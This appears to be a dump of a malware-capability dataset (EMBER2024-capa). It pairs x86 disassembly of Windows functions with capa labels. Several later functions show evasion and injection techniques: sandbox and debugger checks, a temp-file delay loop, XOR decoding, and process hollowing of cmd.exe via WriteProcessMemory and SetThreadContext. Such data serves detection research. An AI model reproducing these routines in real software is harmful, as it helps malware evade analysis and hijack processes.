joyce8/EMBER2024-capa huggingface dataset:
Function at 0x588b5c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x190]
test eax, eax
je 0x588bfe
cmp dword [ebx + 0xac], 0
jne 0x588bf8
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x588a9c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0xa8]
cmp dword [eax + 8], 0
je 0x588bf8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x588bbe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0xa8]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x588bf8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [ebx + 0xa8]
mov edx, esi
call fcn.0049711c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x588bcd
inc dword [ebx + 0xac]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x588f34
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x5acbdc]
cmp dword [eax + 0x190], 0
je 0x589099
test bl, bl
jne 0x588fee
cmp dword [esi + 0xb4], 0
jne 0x588fe3
mov eax, esi
call fcn.0058bfdc
push eax
push 0x588e3c
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x58], 0
je 0x588fb4
mov eax, dword [0x5acbdc]
cmp byte [eax + 0xeb], 0
je 0x588fb4
mov eax, dword [esi + 0xf0]
test eax, eax
je 0x588f95
mov eax, dword [eax - 4]
mov edi, eax
dec edi
cmp edi, 0
jl 0x588fb4
push 0
mov eax, dword [esi + 0xf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x588f9d
mov eax, dword [esi + 0xb0]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x588fe3
cmp bl, 1
cmc
sbb eax, eax
push eax
mov eax, dword [esi + 0xb0]
mov edx, edi
call fcn.0049711c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x588fc3
inc dword [esi + 0xb4]
jmp 0x589099
cmp dword [esi + 0xb4], 0
jle 0x589099
dec dword [esi + 0xb4]
cmp dword [esi + 0xb4], 0
jne 0x589099
cmp dword [esi + 0x58], 0
je 0x58904e
mov eax, dword [0x5acbdc]
cmp byte [eax + 0xeb], 0
je 0x58904e
mov eax, dword [esi + 0xf0]
test eax, eax
je 0x58902f
mov eax, dword [eax - 4]
mov edi, eax
dec edi
cmp edi, 0
jl 0x58904e
push 5
mov eax, dword [esi + 0xf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x589037
mov eax, dword [esi + 0xb0]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x58907d
cmp bl, 1
cmc
sbb eax, eax
push eax
mov eax, dword [esi + 0xb0]
mov edx, edi
call fcn.0049711c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x58905d
mov eax, dword [esi + 0xb0]
mov edx, dword [eax]
call dword [edx + 8]
lea eax, [esi + 0xf0]
mov edx, dword [0x575478]
call fcn.0040b19c
pop edi
pop esi
pop ebx
ret
Function at 0x589e64
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffe00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xc4], 0
je 0x589ebf
cmp byte [ebx + 0xeb], 0
jne 0x589ebf
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x190]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00408348
mov eax, dword [esi]
test eax, eax
je 0x589eac
mov eax, dword [eax - 4]
test eax, eax
jne 0x589ecc
mov eax, esi
mov edx, dword [ebx + 0xa4]
call fcn.004085a0
jmp 0x589ecc
mov eax, esi
mov edx, dword [ebx + 0xa4]
call fcn.004085a0
add esp, 0x200
pop esi
pop ebx
ret

Function at 0x58b868
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x98]
test esi, esi
je 0x58b8d9
mov eax, esi
call fcn.0050d4bc
test al, al
je 0x58b8d9
mov eax, dword [ebx + 0x98]
call fcn.0050d054
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x58b8d9
mov eax, dword [ebx + 0x98]
mov edx, dword [eax]
call dword [edx + 0x17c]
test al, al
je 0x58b8ca
push 0
mov eax, dword [ebx + 0x98]
call fcn.0050d054
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [ebx + 0x98]
xor edx, edx
call fcn.00503310
jmp 0x58b8d9
mov edx, dword [ebx + 0x88]
mov cl, 1
mov eax, ebx
call fcn.0058b674
pop esi
pop ebx
ret
Function at 0x5913ec
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
cmp dword [ebx + 0x98], 0
jne 0x591472
mov eax, dword [ebx + 8]
call fcn.0050d054
mov ecx, eax
mov dl, 1
mov eax, dword [0x51a4c8]
call fcn.00506b64
mov dword [ebx + 0x98], eax
mov esi, dword [ebx + 0x98]
xor edx, edx
mov eax, esi
call fcn.0051fbf8
mov dword [esi + 0x2f4], ebx
mov dword [esi + 0x2f0], 0x590cbc
push 8
mov edx, 3
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0xe8]
push eax
push 0
push 0
push 0
push 0
mov eax, dword [ebx + 0x98]
call fcn.0050d054
push eax
call sub.user32.dll_SetWindowPos
push 0
mov eax, dword [ebx + 0x98]
call fcn.0050d054
push eax
call sub.user32.dll_ShowWindow
cmp dword [ebx + 0xa8], 0
jne 0x5914f4
mov eax, dword [ebx + 8]
call fcn.0050d054
mov ecx, eax
mov dl, 1
mov eax, dword [0x51a4c8]
call fcn.00506b64
mov dword [ebx + 0xa8], eax
mov esi, dword [ebx + 0xa8]
mov dl, 1
mov eax, esi
call fcn.0051fbf8
mov dword [esi + 0x2f4], ebx
mov dword [esi + 0x2f0], 0x590d08
push 8
push 0
mov edx, 2
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0xe8]
push eax
push 0
push 0
push 0
mov eax, dword [ebx + 0xa8]
call fcn.0050d054
push eax
call sub.user32.dll_SetWindowPos
push 0
mov eax, dword [ebx + 0xa8]
call fcn.0050d054
push eax
call sub.user32.dll_ShowWindow
cmp dword [ebx + 0xa0], 0
jne 0x591572
mov eax, dword [ebx + 8]
call fcn.0050d054
mov ecx, eax
mov dl, 1
mov eax, dword [0x51b00c]
call fcn.00506b64
mov dword [ebx + 0xa0], eax
mov esi, dword [ebx + 0xa0]
mov byte [esi + 0x2c8], 1
push 8
mov edx, 3
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0xe8]
push eax
mov edx, 2
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0xe8]
push eax
push 0
push 0
push 0
mov eax, dword [ebx + 0xa0]
call fcn.0050d054
push eax
call sub.user32.dll_SetWindowPos
push 0
mov eax, dword [ebx + 0xa0]
call fcn.0050d054
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x596094
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 4
push 0
push 0
dec ecx
jne 0x59609d
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004082a4
mov eax, dword [ebp - 8]
call fcn.004082a4
mov eax, dword [ebp - 0xc]
call fcn.004082a4
xor eax, eax
push ebp
push 0x596296
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x5961d2
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.004ccc68
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 4]
call fcn.004085e8
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00408e64
mov eax, dword [ebp - 0x1c]
mov dl, 1
call fcn.00420f98
test al, al
je 0x596199
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00408e64
mov ecx, dword [ebp - 0x20]
mov dl, 1
mov eax, dword [0x4ce268]
call fcn.004d1d20
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x596192
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5962b0
mov ecx, 0x5962c4
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0x5962dc
mov ecx, 0x596368
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x6c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5961c5
mov eax, dword [ebp - 0x14]
call fcn.004064c8
pop eax
jmp eax
push 0x59637c
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00408eec
mov ecx, dword [ebp - 0x24]
mov dl, 1
mov eax, dword [0x419300]
call fcn.00427758
call fcn.00407898
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59626c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59629d
lea eax, [ebp - 0x28]
mov edx, 5
call fcn.00408210
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00408210
pop eax
jmp eax
Function at 0x4010f0
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebx
push esi
push edi
push 4
push 0x3000
mov esi, 0x1e5d70
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push eax
cmp eax, 0x11
je 0x4010bd
mov eax, eax
cld
test ecx, ecx
or eax, eax
clc
pop eax
test edi, edi
je 0x4010ec
nop
mov al, al
push 0xf1b30
push 0
push edi
call fcn.00423c60
add esp, 0xc
push ebx
mov cl, cl
mov cl, cl
cld
pop ebx
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
ret
push 0
push 0x40
push 0x3000
push 0x7d0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x401118
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x401098

Function at 0x401284
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00423c60
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00423c60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x18
push 0x43a9ec
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43a9f0
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43a9f4
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43a9f8
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43a9fc
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43aa00
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43aa04
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43aa08
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43aa0c
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43aa10
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43aa14
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43aa18
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43aa1c
lea eax, [ebp - 0x108]
push eax
call esi
lea esi, [ebp - 0x20c]
call fcn.00410c5a
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4013a5
test cl, cl
je 0x4013a1
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4013a5
add eax, 2
add esi, 2
test cl, cl
jne 0x401385
xor eax, eax
jmp 0x4013aa
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013e9
lea esi, [ebp - 0x108]
call fcn.00410c28
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4013d9
test cl, cl
je 0x4013d5
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4013d9
add eax, 2
add esi, 2
test cl, cl
jne 0x4013b9
xor eax, eax
jmp 0x4013de
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013e9
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041d05a
leave
ret

Function at 0x40148a
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
push ecx
mov ecx, dword [eax + 2]
mov dword [ebp - 4], ecx
pop ecx
leave
ret
Function at 0x4014ad
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push eax
nop
nop
nop
nop
mov eax, dword fs:[0x30]
nop
nop
nop
nop
mov dword [ebp - 4], eax
nop
nop
pop eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
add esi, 0x14
mov edi, dword [esi]
jmp 0x4014eb
push dword [ebp + 8]
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014f5
mov edi, dword [edi]
cmp edi, esi
jne 0x4014d9
xor al, al
pop edi
pop esi
leave
ret
mov al, 1
jmp 0x4014f1

Function at 0x401666
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
xor edi, edi
push 0x104
mov dword [ebp - 0x62c], edi
mov dword [ebp - 0x628], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401809
push str.delays.tmp
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x624], edi
mov esi, 0xfffff
push edi
push 0x100
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x401809
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov ebx, eax
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
pop ecx
pop ecx
push esi
call dword [sym.imp.msvcrt.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
push edx
push ebx
call fcn.00423c60
add esp, 0xc
push edi
lea eax, [ebp - 0x628]
push eax
push esi
push ebx
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401809
cmp dword [ebp - 0x628], esi
jne 0x401809
push esi
push edi
push ebx
call fcn.00423c60
add esp, 0xc
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x4000100
push 3
push edi
push edi
push SysReAllocString
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x401809
push edi
lea ecx, [ebp - 0x62c]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401809
cmp dword [ebp - 0x62c], esi
jne 0x401809
push esi
push edi
push ebx
call fcn.00423c60
add esp, 0xc
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x624]
cmp dword [ebp - 0x624], 0x3e8
jb 0x4016d0
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d05a
leave
ret
xor eax, eax
jmp 0x4017fa
Function at 0x4047e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x404846
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x404818
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x404a3e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x404a6e
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x404a7c
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0041d05a
leave
ret
Function at 0x406963
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.004104ee
lea eax, [ebp - 0x980]
push eax
call fcn.00404ab6
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x436993
lea esi, [ebp - 0x8f8]
call fcn.004104bc
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x65e2dc]
push dword [0x65dfac]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x65e3b8]
test eax, eax
jne 0x4069ea
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406b6e
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x65e3dc]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406b62
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x65ddf8]
push dword [ebp - 0x918]
push 0x4378e4
push dword [ebp - 0x8e8]
call dword [0x65e41c]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406b56
cmp esi, ebx
je 0x406a83
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x65e1d4]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x65e3a4]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x65e434]
test eax, eax
jne 0x406acb
push 0x4378e8
mov esi, dword [ebp - 0x8d8]
call fcn.004104bc
jmp 0x406b7f
lea edx, [ebp - 0x104]
call fcn.00411ad2
cmp eax, 0xc8
jne 0x406bab
cmp esi, ebx
je 0x406b4a
mov edi, 0x7cf
jmp 0x406b2b
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406b4a
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.004105de
lea esi, [ebp - 0x8f8]
call fcn.00410562
mov eax, dword [ebp - 0x908]
call fcn.00402920
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x65e304]
test eax, eax
jne 0x406aec
push dword [ebp - 0x8e0]
call dword [0x65e2d8]
push dword [ebp - 0x8e8]
call dword [0x65e2d8]
push dword [ebp - 0x8dc]
call dword [0x65e2d8]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.004104ee
mov eax, dword [ebp - 0x8f8]
call fcn.00402920
mov eax, dword [ebp + 0xc]
call fcn.00402920
mov eax, dword [ebp + 0x18]
call fcn.00402920
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d05a
leave
ret
push str.ERROR
jmp 0x406abb
Function at 0x40773f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00407cdb
add esp, 0x10
test eax, eax
jne 0x40775f
xor eax, eax
inc eax
jmp 0x4077f5
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4077f2
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4077f2
push dword [ebp + 8]
lea edi, [esi + 0x40]
push pe_nt_image_headers32
push eax
push edi
call fcn.00407cdb
add esp, 0x10
test eax, eax
je 0x407757
cmp dword [edi], 0x4550
jne 0x4077f2
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x4077f2
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4077f2
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.00411b4d
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4077c7
push 3
jmp 0x4077f4
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00407cdb
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x4077f5
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x40f51f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f5e5
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423c60
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4365a7
push str.C:WindowsSystem32cmd.exe
call dword [0x65e288]
test eax, eax
je 0x40f5e3
push edi
push 0x1000
push edi
push ebx
call dword [0x65e344]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f5e3
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f5ea
push dword [ebp - 0x20]
call dword [0x65e3f8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f644
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f60d
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x65e3f8]
mov eax, dword [ebp - 0x1c]
jmp 0x40f5e5